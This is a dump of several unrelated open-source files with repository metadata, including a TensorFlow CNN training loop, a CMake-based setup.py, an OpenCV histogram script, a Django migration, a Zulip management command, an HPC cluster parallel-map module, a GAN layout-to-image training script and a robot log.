maximum2 = maximums[1]
maximum3 = maximums[2]
argmax1 = argmaxs[0]
argmax2 = argmaxs[1]
argmax3 = argmaxs[2]
valid_prediction = tf.nn.softmax(model(embedded_chars_expanded_valid, 1.0))
with tf.Session(graph=graph) as session:
session.run(tf.initialize_all_variables(), feed_dict={embeddings_const: embeddings})
print ("Initialized")
for step in range(num_steps):
offset = (step * batch_size) % (train_labels.shape[0] - batch_size)
batch_data = train_dataset[offset:(offset + batch_size)]
batch_labels = train_labels[offset:(offset + batch_size)]
feed_dict = {input_x : batch_data, input_y : batch_labels, reg_coef: l2_reg_lambda, embeddings_const: embeddings}
_, l, predictions = session.run([optimizer, loss, train_prediction], feed_dict)
if not step % 100:
print ("Minibatch loss at step", step, ":", l)
print ("Minibatch accuracy: %.1f%%" % accuracy(predictions, batch_labels))
print("\n")
#print (embeddings_after)
maximum1 = session.run([maximum1], feed_dict = {embeddings_tuned_argmax: embeddings})
maximum1 = np.asarray(maximum1)
maximum2 = session.run([maximum2], feed_dict = {embeddings_tuned_argmax: embeddings})
maximum2 = np.asarray(maximum2)
maximum3 = session.run([maximum3], feed_dict = {embeddings_tuned_argmax: embeddings})
maximum3 = np.asarray(maximum3)
argmax1 = session.run([argmax1], feed_dict = {embeddings_tuned_argmax: embeddings})
argmax1 = np.asarray(argmax1)
argmax2 = session.run([argmax2], feed_dict = {embeddings_tuned_argmax: embeddings})
argmax2 = np.asarray(argmax2)
argmax3 = session.run([argmax3], feed_dict = {embeddings_tuned_argmax: embeddings})
argmax3 = np.asarray(argmax3)
np.save("argmax_filter_sizes_1_static.npy", argmax1)
np.save("argmax_filter_sizes_2_static.npy", argmax2)
np.save("argmax_filter_sizes_3_static.npy", argmax3)
np.save("maximum_filter_sizes_1_static.npy", maximum1)
np.save("maximum_filter_sizes_2_static.npy", maximum2)
np.save("maximum_filter_sizes_3_static.npy", maximum3)
self.valid_predictions = session.run([valid_prediction], feed_dict = {embeddings_const: embeddings})
self.valid_predictions = np.asarray(self.valid_predictions).reshape(valid_labels.shape)
predictions_label = np.argmax(self.valid_predictions, 1)
labels = ['neg','pos']
self.prediction_labels_char = [labels[i] for i in predictions_label]
self.prediction_labels_char = np.asarray(self.prediction_labels_char)
np.save("gold_labels_static.npy", predictions_label)
self.valid_accuracy = accuracy(self.valid_predictions, np.asarray(valid_labels))
self.embeddings_final = embeddings
|
[
"zhou@last.cl.uni-heidelberg.de"
] |
zhou@last.cl.uni-heidelberg.de
|
d06ba3a39c1339b3301e652807885c2348d249aa
|
75f3ddcebb39e1575d0e735090cbafae5bc05140
|
/setup.py
|
7d957bf60b9cd3b0c319e27de4efb82b1d33cecc
|
[
"BSD-3-Clause"
] |
permissive
|
ethen8181/ort_inference
|
372b548e98f4e6e6e5fde2bf5533a31c6e6273ce
|
2fdd7fe8479c4b8679f8e809fa2b3846ad96b3fe
|
refs/heads/main
| 2023-05-15T07:42:48.247881
| 2021-06-21T04:30:06
| 2021-06-21T04:30:06
| 376,840,702
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,471
|
py
|
# -*- coding: utf-8 -*-
import os
import sys
import subprocess
from setuptools import setup, Extension
from setuptools.command.build_ext import build_ext
# Convert distutils Windows platform specifiers to CMake -A arguments
PLAT_TO_CMAKE = {
"win32": "Win32",
"win-amd64": "x64",
"win-arm32": "ARM",
"win-arm64": "ARM64",
}
# A CMakeExtension needs a sourcedir instead of a file list.
# The name must be the _single_ output extension from the CMake build.
# If you need multiple extensions, see scikit-build.
class CMakeExtension(Extension):
def __init__(self, name, sourcedir=""):
Extension.__init__(self, name, sources=[])
self.sourcedir = os.path.abspath(sourcedir)
class CMakeBuild(build_ext):
def build_extension(self, ext):
extdir = os.path.abspath(os.path.dirname(self.get_ext_fullpath(ext.name)))
# required for auto-detection of auxiliary "native" libs
if not extdir.endswith(os.path.sep):
extdir += os.path.sep
cfg = "Debug" if self.debug else "Release"
# CMake lets you override the generator - we need to check this.
# Can be set with Conda-Build, for example.
cmake_generator = os.environ.get("CMAKE_GENERATOR", "")
# Set Python_EXECUTABLE instead if you use PYBIND11_FINDPYTHON
# EXAMPLE_VERSION_INFO shows you how to pass a value into the C++ code
# from Python.
cmake_args = [
"-DCMAKE_LIBRARY_OUTPUT_DIRECTORY={}".format(extdir),
"-DPYTHON_EXECUTABLE={}".format(sys.executable),
"-DEXAMPLE_VERSION_INFO={}".format(self.distribution.get_version()),
"-DCMAKE_BUILD_TYPE={}".format(cfg), # not used on MSVC, but no harm
]
build_args = []
if self.compiler.compiler_type != "msvc":
# Using Ninja-build since it a) is available as a wheel and b)
# multithreads automatically. MSVC would require all variables be
# exported for Ninja to pick it up, which is a little tricky to do.
# Users can override the generator with CMAKE_GENERATOR in CMake
# 3.15+.
if not cmake_generator:
cmake_args += ["-GNinja"]
else:
# Single config generators are handled "normally"
single_config = any(x in cmake_generator for x in {"NMake", "Ninja"})
# CMake allows an arch-in-generator style for backward compatibility
contains_arch = any(x in cmake_generator for x in {"ARM", "Win64"})
# Specify the arch if using MSVC generator, but only if it doesn't
# contain a backward-compatibility arch spec already in the
# generator name.
if not single_config and not contains_arch:
cmake_args += ["-A", PLAT_TO_CMAKE[self.plat_name]]
# Multi-config generators have a different way to specify configs
if not single_config:
cmake_args += [
"-DCMAKE_LIBRARY_OUTPUT_DIRECTORY_{}={}".format(cfg.upper(), extdir)
]
build_args += ["--config", cfg]
# Set CMAKE_BUILD_PARALLEL_LEVEL to control the parallel build level
# across all generators.
if "CMAKE_BUILD_PARALLEL_LEVEL" not in os.environ:
# self.parallel is a Python 3 only way to set parallel jobs by hand
# using -j in the build_ext call, not supported by pip or PyPA-build.
if hasattr(self, "parallel") and self.parallel:
# CMake 3.12+ only.
build_args += ["-j{}".format(self.parallel)]
if not os.path.exists(self.build_temp):
os.makedirs(self.build_temp)
subprocess.check_call(
["cmake", ext.sourcedir] + cmake_args, cwd=self.build_temp
)
subprocess.check_call(
["cmake", "--build", "."] + build_args, cwd=self.build_temp
)
# The information here can also be placed in setup.cfg - better separation of
# logic and declaration, and simpler if you include description/version in a file.
setup(
name="ort_inference",
version="0.0.1",
author="MingYu (Ethen) Liu",
author_email="ethen8181@gmail.com",
description="CPU Inferencing with Onnxruntime",
long_description="CPU Inferencing with Onnxruntime",
ext_modules=[CMakeExtension("ort_inference")],
cmdclass={"build_ext": CMakeBuild},
zip_safe=False
)
|
[
"ethen8181@gmail.com"
] |
ethen8181@gmail.com
|
3cb7ca56963e72016dc4ddc901355e89000d6ea0
|
8d79e742cb632585186cc8af85c29ae6bc6c9903
|
/numpycolorhistogram.py
|
b355e823c767914292959a88ca47f34965d3fabc
|
[] |
no_license
|
HarikaSatyaPreethi/opencv_programms
|
21ec30d8a25cef53d6af3811a2e91792d4b26634
|
6615fb6cf8aaec90af8df4f1d081705717b8f999
|
refs/heads/master
| 2020-05-01T09:51:50.819639
| 2019-03-24T12:05:20
| 2019-03-24T12:05:20
| 177,409,592
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,022
|
py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Mar 24 10:44:59 2019
@author: preethi
"""
import cv2
import matplotlib.pyplot as plt
import numpy as np
def main():
path = "/home/preethi/Documents/opencv/misc/4.2.07.tiff"
img = cv2.imread(path, 1)
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
R, G, B = cv2.split(img)
# plt.subplot(1, 2, 1)
# plt.imshow(img)
# plt.title('Image')
# plt.xticks([])
# plt.yticks([])
plt.subplot(3, 1, 1)
hist, bins = np.histogram(R.ravel(), 256, [0,255])
plt.xlim([0, 255])
plt.plot(hist)
plt.title('Red Histogram')
plt.subplot(3, 1, 2)
hist, bins = np.histogram(G.ravel(), 256, [0,255])
plt.xlim([0, 255])
plt.plot(hist)
plt.title('Green Histogram')
plt.subplot(3, 1, 3)
hist, bins = np.histogram(B.ravel(), 256, [0,255])
plt.xlim([0, 255])
plt.plot(hist,color='g')
plt.title('Blue Histogrram')
plt.show()
if __name__ == "__main__":
main()
|
[
"satyaganesula461@gmail.com"
] |
satyaganesula461@gmail.com
|
3c44c959852972cb393e665f8a03da163321704e
|
294d9ee09808404b37781e8504824cb1d277beec
|
/django_project/migrations/0006_auto_20160616_0211.py
|
58750c776e030f986bfac401bf58717f8b7633aa
|
[
"BSD-3-Clause"
] |
permissive
|
kunalsharma05/django-project
|
8794d788da1782cd9fb5759c98d7e11d14620116
|
2fb8b5a5e5583518a46d3994a8bf1c48fb531443
|
refs/heads/master
| 2020-12-11T04:09:22.279011
| 2016-08-27T11:38:10
| 2016-08-27T11:38:10
| 53,092,671
| 5
| 1
| null | 2016-03-03T23:45:00
| 2016-03-03T23:45:00
| null |
UTF-8
|
Python
| false
| false
| 657
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-06-16 02:11
from __future__ import unicode_literals
import datetime
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('django_project', '0005_auto_20160615_2201'),
]
operations = [
migrations.AlterField(
model_name='milestone',
name='deadline',
field=models.DateField(default=datetime.date(2016, 6, 26), verbose_name='deadline'),
),
]
|
[
"ks05111996@gmail.com"
] |
ks05111996@gmail.com
|
494cf359b8f1efd02f67635b8b12933e562d71b4
|
c106149cccfac8dd4f05f976253f529b3234828c
|
/zerver/management/commands/send_realm_reactivation_email.py
|
39b1dd91a654be9dba3474577f165a89b79bc915
|
[
"Apache-2.0",
"LicenseRef-scancode-free-unknown"
] |
permissive
|
kartikey54/zulip
|
cc685686af3bc1fbadc9ded260f62f45087df301
|
e8b44f491f8967823273a6d5acd3d3d376e62b90
|
refs/heads/master
| 2021-01-23T02:59:24.396882
| 2019-10-08T19:46:43
| 2019-10-08T19:46:43
| 86,029,881
| 1
| 0
|
Apache-2.0
| 2019-10-08T19:46:44
| 2017-03-24T05:16:51
|
Python
|
UTF-8
|
Python
| false
| false
| 805
|
py
|
from argparse import ArgumentParser
from zerver.lib.management import ZulipBaseCommand, CommandError
from zerver.lib.send_email import send_email, FromAddress
from zerver.lib.actions import do_send_realm_reactivation_email
from typing import Any
class Command(ZulipBaseCommand):
help = """Sends realm reactivation email to admins"""
def add_arguments(self, parser: ArgumentParser) -> None:
self.add_realm_args(parser, True)
def handle(self, *args: Any, **options: str) -> None:
realm = self.get_realm(options)
assert realm is not None
if not realm.deactivated:
raise CommandError("The realm %s is already active." % (realm.name,))
print('Sending email to admins')
do_send_realm_reactivation_email(realm)
print('Done!')
|
[
"tabbott@zulipchat.com"
] |
tabbott@zulipchat.com
|
4f529ded28f7f66f414f239e601ba06e9f1e7c18
|
f8d7bf751f5596f46111f52f127a412c50b7c6a4
|
/mhc2flurry/cluster_parallelism.py
|
85bc3fc2d6e85625f2cd6c14a123b901ad645de5
|
[
"Apache-2.0"
] |
permissive
|
luoyuan3316/mhc2flurry
|
7e9ef790fbceebc34e8f432dc594fc3a12bddab7
|
914dddfd708801a83615d0cc3d41dd3b19e45919
|
refs/heads/master
| 2023-04-16T14:27:36.602561
| 2021-04-26T14:09:56
| 2021-04-26T14:09:56
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 14,651
|
py
|
"""
Simple, naive parallel map implementation for HPC clusters.
Used for training MHC2flurry models.
"""
import traceback
import sys
import os
import time
import signal
import argparse
import pickle
import subprocess
import shutil
from .local_parallelism import call_wrapped_kwargs
from .class1_affinity_predictor import Class1AffinityPredictor
try:
from shlex import quote
except ImportError:
from pipes import quote
def add_cluster_parallelism_args(parser):
"""
Add commandline arguments controlling cluster parallelism to an argparse
ArgumentParser.
Parameters
----------
parser : argparse.ArgumentParser
"""
group = parser.add_argument_group("Cluster parallelism")
group.add_argument(
"--cluster-parallelism",
default=False,
action="store_true")
group.add_argument(
"--cluster-submit-command",
default='sh',
help="Default: %(default)s")
group.add_argument(
"--cluster-results-workdir",
default='./cluster-workdir',
help="Default: %(default)s")
group.add_argument(
"--additional-complete-file",
default='STDERR',
help="Additional file to monitor for job completion. Default: %(default)s")
group.add_argument(
'--cluster-script-prefix-path',
help="",
)
group.add_argument(
'--cluster-max-retries',
type=int,
help="How many times to rerun failing jobs. Default: %(default)s",
default=3)
def cluster_results_from_args(
args,
work_function,
work_items,
constant_data=None,
input_serialization_method="pickle",
result_serialization_method="pickle",
clear_constant_data=False):
"""
Parallel map configurable using commandline arguments. See the
cluster_results() function for docs.
The `args` parameter should be an argparse.Namespace from an argparse parser
generated using the add_cluster_parallelism_args() function.
Parameters
----------
args
work_function
work_items
constant_data
result_serialization_method
clear_constant_data
Returns
-------
generator
"""
return cluster_results(
work_function=work_function,
work_items=work_items,
constant_data=constant_data,
submit_command=args.cluster_submit_command,
results_workdir=args.cluster_results_workdir,
additional_complete_file=args.additional_complete_file,
script_prefix_path=args.cluster_script_prefix_path,
input_serialization_method=input_serialization_method,
result_serialization_method=result_serialization_method,
max_retries=args.cluster_max_retries,
clear_constant_data=clear_constant_data
)
def cluster_results(
work_function,
work_items,
constant_data=None,
submit_command="sh",
results_workdir="./cluster-workdir",
additional_complete_file=None,
script_prefix_path=None,
input_serialization_method="pickle",
result_serialization_method="pickle",
max_retries=3,
clear_constant_data=False):
"""
Parallel map on an HPC cluster.
Returns [work_function(item) for item in work_items] where each invocation
of work_function is performed as a separate HPC cluster job. Order is
preserved.
Optionally, "constant data" can be specified, which will be passed to
each work_function() invocation as a keyword argument called constant_data.
This data is serialized once and all workers read it from the same source,
which is more efficient than serializing it separately for each worker.
Each worker's input is serialized to a shared NFS directory and the
submit_command is used to launch a job to process that input. The shared
filesystem is polled occasionally to watch for results, which are fed back
to the user.
Parameters
----------
work_function : A -> B
work_items : list of A
constant_data : object
submit_command : string
For running on LSF, we use "bsub" here.
results_workdir : string
Path to NFS shared directory where inputs and results can be written
script_prefix_path : string
Path to script that will be invoked to run each worker. A line calling
the _mhcflurry-cluster-worker-entry-point command will be appended to
the contents of this file.
result_serialization_method : string, one of "pickle" or "save_predictor"
The "save_predictor" works only when the return type of work_function
is Class2AffinityPredictor
max_retries : int
How many times to attempt to re-launch a failed worker
clear_constant_data : bool
If True, the constant data dict is cleared on the launching host after
it is serialized to disk.
Returns
-------
generator of B
"""
if input_serialization_method == "dill":
import dill
input_serialization_module = dill
else:
assert input_serialization_method == "pickle"
input_serialization_module = pickle
constant_payload = {
'constant_data': constant_data,
'function': work_function,
}
if not os.path.exists(results_workdir):
os.mkdir(results_workdir)
work_dir = os.path.join(
os.path.abspath(results_workdir),
str(int(time.time())))
os.mkdir(work_dir)
constant_payload_path = os.path.join(
work_dir,
"global_data." + input_serialization_method)
with open(constant_payload_path, "wb") as fd:
input_serialization_module.dump(
constant_payload,
fd,
protocol=input_serialization_module.HIGHEST_PROTOCOL)
print("Wrote:", constant_payload_path)
if clear_constant_data:
constant_data.clear()
print("Cleared constant data to free up memory.")
if script_prefix_path:
with open(script_prefix_path) as fd:
script_prefix = fd.read()
else:
script_prefix = "#!/bin/bash"
result_items = []
for (i, item) in enumerate(work_items):
item_workdir = os.path.join(
work_dir, "work-item.%03d-of-%03d" % (i, len(work_items)))
os.mkdir(item_workdir)
item_data_path = os.path.join(
item_workdir, "data." + input_serialization_method)
with open(item_data_path, "wb") as fd:
input_serialization_module.dump(
item, fd, protocol=input_serialization_module.HIGHEST_PROTOCOL)
print("Wrote:", item_data_path)
item_result_path = os.path.join(item_workdir, "result")
item_error_path = os.path.join(item_workdir, "error.pkl")
item_finished_path = os.path.join(item_workdir, "COMPLETE")
item_script_pieces = [
script_prefix.format(work_item_num=i, work_dir=item_workdir)
]
item_script_pieces.append(" ".join([
"_mhcflurry-cluster-worker-entry-point",
"--constant-data", quote(constant_payload_path),
"--worker-data", quote(item_data_path),
"--result-out", quote(item_result_path),
"--error-out", quote(item_error_path),
"--complete-dir", quote(item_finished_path),
"--input-serialization-method", input_serialization_method,
"--result-serialization-method", result_serialization_method,
]))
item_script = "\n".join(item_script_pieces)
item_script_path = os.path.join(
item_workdir,
"run.%d.sh" % i)
with open(item_script_path, "w") as fd:
fd.write(item_script)
print("Wrote:", item_script_path)
launch_command = " ".join([
submit_command, "<", quote(item_script_path)
])
subprocess.check_call(launch_command, shell=True)
print("Invoked", launch_command)
result_items.append({
'work_dir': item_workdir,
'finished_path': item_finished_path,
'result_path': item_result_path,
'error_path': item_error_path,
'retry_num': 0,
'launch_command': launch_command,
})
def result_generator():
additional_complete_file_path = None
start = time.time()
while result_items:
print("[%0.1f sec elapsed] waiting on %d / %d items." % (
time.time() - start, len(result_items), len(work_items)))
while True:
result_item = None
for d in result_items:
if additional_complete_file:
additional_complete_file_path = os.path.join(
d['work_dir'], additional_complete_file)
if os.path.exists(d['finished_path']):
result_item = d
break
if additional_complete_file and os.path.exists(
additional_complete_file_path):
result_item = d
print("Exists", additional_complete_file_path)
break
if result_item is None:
time.sleep(60)
else:
result_items.remove(result_item)
break
complete_dir = result_item['finished_path']
result_path = result_item['result_path']
error_path = result_item['error_path']
retry_num = result_item['retry_num']
launch_command = result_item['launch_command']
print("[%0.1f sec elapsed] processing item %s" % (
time.time() - start, result_item))
if os.path.exists(error_path) or not os.path.exists(result_path):
if os.path.exists(error_path):
print("Error path exists", error_path)
try:
with open(error_path, "rb") as fd:
exception = pickle.load(fd)
print(exception)
except Exception as e:
exception = RuntimeError(
"Error, but couldn't read error path: %s %s" % (
type(e), str(e)))
else:
exception = RuntimeError("Error, but no exception saved")
if not os.path.exists(result_path):
print("Result path does NOT exist", result_path)
if retry_num < max_retries:
print("Relaunching", launch_command)
attempt_dir = os.path.join(
result_item['work_dir'], "attempt.%d" % retry_num)
if os.path.exists(complete_dir):
shutil.move(complete_dir, attempt_dir) # directory
if additional_complete_file and os.path.exists(
additional_complete_file_path):
shutil.move(additional_complete_file_path, attempt_dir)
if os.path.exists(error_path):
shutil.move(error_path, attempt_dir)
subprocess.check_call(launch_command, shell=True)
print("Invoked", launch_command)
result_item['retry_num'] += 1
result_items.append(result_item)
continue
else:
print("Max retries exceeded", max_retries)
raise exception
if os.path.exists(result_path):
print("Result path exists", result_path)
if result_serialization_method == "save_predictor":
result = Class1AffinityPredictor.load(result_path)
elif result_serialization_method == "pickle":
with open(result_path, "rb") as fd:
result = pickle.load(fd)
else:
raise ValueError(
"Unsupported serialization method",
result_serialization_method)
yield result
else:
raise RuntimeError("Results do not exist", result_path)
return result_generator()
parser = argparse.ArgumentParser(
usage="Entry point for cluster workers")
parser.add_argument(
"--constant-data",
required=True,
)
parser.add_argument(
"--worker-data",
required=True,
)
parser.add_argument(
"--result-out",
required=True,
)
parser.add_argument(
"--error-out",
required=True,
)
parser.add_argument(
"--complete-dir",
)
parser.add_argument(
"--input-serialization-method",
choices=("pickle", "dill"),
default="pickle")
parser.add_argument(
"--result-serialization-method",
choices=("pickle", "save_predictor"),
default="pickle")
def worker_entry_point(argv=sys.argv[1:]):
"""
Entry point for the worker command.
Parameters
----------
argv : list of string
"""
# On sigusr1 print stack trace
print("To show stack trace, run:\nkill -s USR1 %d" % os.getpid())
signal.signal(signal.SIGUSR1, lambda sig, frame: traceback.print_stack())
args = parser.parse_args(argv)
if args.input_serialization_method == "dill":
import dill
input_serialization_module = dill
else:
assert args.input_serialization_method == "pickle"
input_serialization_module = pickle
with open(args.constant_data, "rb") as fd:
constant_payload = input_serialization_module.load(fd)
with open(args.worker_data, "rb") as fd:
worker_data = input_serialization_module.load(fd)
kwargs = dict(worker_data)
if constant_payload['constant_data'] is not None:
kwargs['constant_data'] = constant_payload['constant_data']
try:
result = call_wrapped_kwargs(constant_payload['function'], kwargs)
if args.result_serialization_method == 'save_predictor':
result.save(args.result_out)
else:
with open(args.result_out, "wb") as fd:
pickle.dump(result, fd, pickle.HIGHEST_PROTOCOL)
print("Wrote:", args.result_out)
except Exception as e:
print("Exception: ", e)
with open(args.error_out, "wb") as fd:
pickle.dump(e, fd, pickle.HIGHEST_PROTOCOL)
print("Wrote:", args.error_out)
raise
finally:
if args.complete_dir:
os.mkdir(args.complete_dir)
print("Created: ", args.complete_dir)
|
[
"timodonnell@gmail.com"
] |
timodonnell@gmail.com
|
43f0e39d46526ede0ee5c11c77f503b58a0a0a51
|
c18f069ad374d8b72ff874aebcd6781a08c3f126
|
/train_context_nogeo.py
|
b702dcbbcc3e53e7850fa415b7871d210aae320a
|
[] |
no_license
|
gongshuai1/layout2img
|
26e036f29e0435c29802ff14056d8aaef9207b75
|
c915f15a571d672973ec5722a7711988b70d2bb2
|
refs/heads/main
| 2023-03-31T16:00:11.865293
| 2021-04-09T14:43:08
| 2021-04-09T14:43:08
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 8,783
|
py
|
import argparse
import os
import pickle
import time
import datetime
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import torchvision.transforms as transforms
from tensorboardX import SummaryWriter
from torchvision.utils import make_grid
from utils.util import *
from data.cocostuff_loader import *
from data.vg import *
# from model.resnet_generator_context import *
from model.resnet_generator_vg import *
from model.rcnn_discriminator_app import *
from model.sync_batchnorm import DataParallelWithCallback
from utils.logger import setup_logger
from tqdm import tqdm
def get_dataset(dataset, img_size):
if dataset == "coco":
data = CocoSceneGraphDataset(image_dir='./datasets/coco/images/train2017/',
instances_json='./datasets/coco/annotations/instances_train2017.json',
stuff_json='./datasets/coco/annotations/stuff_train2017.json',
stuff_only=True, image_size=(img_size, img_size), left_right_flip=True)
elif dataset == 'vg':
data = VgSceneGraphDataset(vocab_json='./data/tmp/vocab.json', h5_path='./data/tmp/preprocess_vg/train.h5',
image_dir='./datasets/vg/',
image_size=(img_size, img_size), max_objects=30, left_right_flip=True)
return data
def main(args):
# parameters
img_size = args.img_size
z_dim = 128
lamb_obj = 1.0
lamb_img = 0.1
num_classes = 184 if args.dataset == 'coco' else 179
num_obj = 8 if args.dataset == 'coco' else 31
args.out_path = os.path.join(args.out_path, args.dataset, str(args.img_size))
num_gpus = torch.cuda.device_count()
num_workers = 2
if num_gpus > 1:
parallel = True
args.batch_size = args.batch_size * num_gpus
num_workers = num_workers * num_gpus
else:
parallel = False
# data loader
train_data = get_dataset(args.dataset, img_size)
dataloader = torch.utils.data.DataLoader(
train_data, batch_size=args.batch_size,
drop_last=True, shuffle=True, num_workers=8)
# Load model
device = torch.device('cuda')
netG = context_aware_generator(num_classes=num_classes, output_dim=3).to(device)
netD = CombineDiscriminator128(num_classes=num_classes).to(device)
parallel = True
if parallel:
netG = DataParallelWithCallback(netG)
netD = nn.DataParallel(netD)
g_lr, d_lr = args.g_lr, args.d_lr
gen_parameters = []
for key, value in dict(netG.named_parameters()).items():
if value.requires_grad:
if 'mapping' in key:
gen_parameters += [{'params': [value], 'lr': g_lr * 0.1}]
else:
gen_parameters += [{'params': [value], 'lr': g_lr}]
g_optimizer = torch.optim.Adam(gen_parameters, betas=(0, 0.999))
dis_parameters = []
for key, value in dict(netD.named_parameters()).items():
if value.requires_grad:
dis_parameters += [{'params': [value], 'lr': d_lr}]
d_optimizer = torch.optim.Adam(dis_parameters, betas=(0, 0.999))
# make dirs
if not os.path.exists(args.out_path):
os.makedirs(args.out_path)
if not os.path.exists(os.path.join(args.out_path, 'model/')):
os.makedirs(os.path.join(args.out_path, 'model/'))
writer = SummaryWriter(os.path.join(args.out_path, 'log'))
logger = setup_logger("lostGAN", args.out_path, 0)
logger.info(netG)
logger.info(netD)
start_time = time.time()
vgg_loss = VGGLoss()
vgg_loss = nn.DataParallel(vgg_loss)
l1_loss = nn.DataParallel(nn.L1Loss())
for epoch in range(args.total_epoch):
netG.train()
netD.train()
for idx, data in enumerate(tqdm(dataloader)):
real_images, label, bbox = data
# print(real_images.shape)
# print(label.shape)
# print(bbox.shape)
real_images, label, bbox = real_images.to(device), label.long().to(device).unsqueeze(-1), bbox.float()
# update D network
netD.zero_grad()
real_images, label = real_images.to(device), label.long().to(device)
d_out_real, d_out_robj = netD(real_images, bbox, label)
d_loss_real = torch.nn.ReLU()(1.0 - d_out_real).mean()
d_loss_robj = torch.nn.ReLU()(1.0 - d_out_robj).mean()
z = torch.randn(real_images.size(0), num_obj, z_dim).to(device)
fake_images = netG(z, bbox, y=label.squeeze(dim=-1))
d_out_fake, d_out_fobj = netD(fake_images.detach(), bbox, label)
d_loss_fake = torch.nn.ReLU()(1.0 + d_out_fake).mean()
d_loss_fobj = torch.nn.ReLU()(1.0 + d_out_fobj).mean()
d_loss = lamb_obj * (d_loss_robj + d_loss_fobj) + lamb_img * (d_loss_real + d_loss_fake)
d_loss.backward()
d_optimizer.step()
# update G network
if (idx % 1) == 0:
netG.zero_grad()
g_out_fake, g_out_obj = netD(fake_images, bbox, label)
g_loss_fake = - g_out_fake.mean()
g_loss_obj = - g_out_obj.mean()
pixel_loss = l1_loss(fake_images, real_images).mean()
feat_loss = vgg_loss(fake_images, real_images).mean()
g_loss = g_loss_obj * lamb_obj + g_loss_fake * lamb_img + pixel_loss + feat_loss
g_loss.backward()
g_optimizer.step()
if (idx + 1) % 10 == 0:
elapsed = time.time() - start_time
elapsed = str(datetime.timedelta(seconds=elapsed))
logger.info("Time Elapsed: [{}]".format(elapsed))
logger.info("Step[{}/{}], d_out_real: {:.4f}, d_out_fake: {:.4f}, g_out_fake: {:.4f} ".format(epoch + 1,
idx + 1,
d_loss_real.item(),
d_loss_fake.item(),
g_loss_fake.item()))
logger.info(" d_obj_real: {:.4f}, d_obj_fake: {:.4f}, g_obj_fake: {:.4f} ".format(
d_loss_robj.item(),
d_loss_fobj.item(),
g_loss_obj.item()))
logger.info(" pixel_loss: {:.4f}, feat_loss: {:.4f}".format(pixel_loss.item(), feat_loss.item()))
writer.add_image("real images", make_grid(real_images.cpu().data * 0.5 + 0.5, nrow=4), epoch * len(dataloader) + idx + 1)
writer.add_image("fake images", make_grid(fake_images.cpu().data * 0.5 + 0.5, nrow=4), epoch * len(dataloader) + idx + 1)
writer.add_scalars("D_loss_real", {"real": d_loss_real.item(),
"robj": d_loss_robj.item(),
"loss": d_loss.item()})
writer.add_scalars("D_loss_fake", {"fake": d_loss_fake.item(),
"fobj": d_loss_fobj.item()})
writer.add_scalars("G_loss", {"fake": g_loss_fake.item(),
"obj": g_loss_obj.item(),
"loss": g_loss.item()})
# save model
if (epoch + 1) % 5 == 0:
torch.save(netG.state_dict(), os.path.join(args.out_path, 'model/', 'G_%d.pth' % (epoch + 1)))
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--dataset', type=str, default='coco',
help='training dataset')
parser.add_argument('--batch_size', type=int, default=16,
help='mini-batch size of training data. Default: 16')
parser.add_argument('--total_epoch', type=int, default=400,
help='number of total training epoch')
parser.add_argument('--d_lr', type=float, default=0.0001,
help='learning rate for discriminator')
parser.add_argument('--g_lr', type=float, default=0.0001,
help='learning rate for generator')
parser.add_argument('--out_path', type=str, default='./outputs/tmp/context',
help='path to output files')
parser.add_argument('--img_size', type=str, default=128,
help='generated image size')
args = parser.parse_args()
main(args)
|
[
"liao@cvddl.tnt.uni-hannover.de"
] |
liao@cvddl.tnt.uni-hannover.de
|
b4224a70225760c2e0f7daf3350469ca47dd7457
|
4851a19e87b7fe6bce24472aff1165328eca0197
|
/matchlogs/2012/brewerylog_8eme_wheels_team-defaite-25-34.py
|
164c5fb1ab502f81752ee2bcbc602c6f0c9a4885
|
[] |
no_license
|
alberthier/bhware
|
771decb0c0f163f4d147dc31f2abd9d03a768094
|
6a34f546667234aa2d1a2df51490e2f889ed950c
|
refs/heads/master
| 2021-01-18T17:18:48.255703
| 2014-09-21T21:23:36
| 2014-09-21T21:23:36
| 24,302,862
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 460,822
|
py
|
#!/usr/bin/env python
# encoding: utf-8
from packets import *
from trajectory import *
log = []
if __name__ == '__main__':
def l(line):
print(line)
else:
def l(line):
global log
log.append(line)
l(['0.00','ARM','# Logging to \'brewerylog_0000.py\''])
l(['3.52','ARM','# Pathfinding C module compiled successfully'])
l(['3.60','ARM','# Starting internal web server on port 80'])
l(['3.61','ARM','# Connecting to 192.168.2.200:7001 ...'])
l(['3.62','ARM','# Connected to the log socket 192.168.2.200:23'])
l(['3.62','ARM',TurretInit(mode = 1, short_distance = 190, long_distance = 240)])
l(['3.63','ARM','# Successfully instatiated state \'Main\' from file \'/root/bhware/bhbot/brewery/statemachines/default.py\''])
l(['3.63','ARM','# Pushing sub-state Main'])
l(['3.63','ARM',ControllerReady()])
l(['3.64','ARM','# Starting brewery with state machine \'default\''])
l(['3.64','PIC',DeviceBusy(remote_device = 0)])
l(['3.64','PIC',DeviceReady(team = 1, remote_device = 0)])
l(['3.86','ARM','# Pushing sub-state DefinePosition'])
l(['3.86','ARM',Resettle(axis = 0, position = 0.31, angle = 1.57079632679)])
l(['3.86','PIC',TurretDistances(short_distance = 190, long_distance = 240)])
l(['3.87','PIC','# '])
l(['3.87','PIC','# BH Team Telnet Robot Log :'])
l(['3.87','PIC','# \x00\x1b[3\x001m\x002090,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['3.87','PIC','# \x00\x1b[3\x001m\x002170,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['3.87','PIC','# \x00\x1b[3\x001m\x002250,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
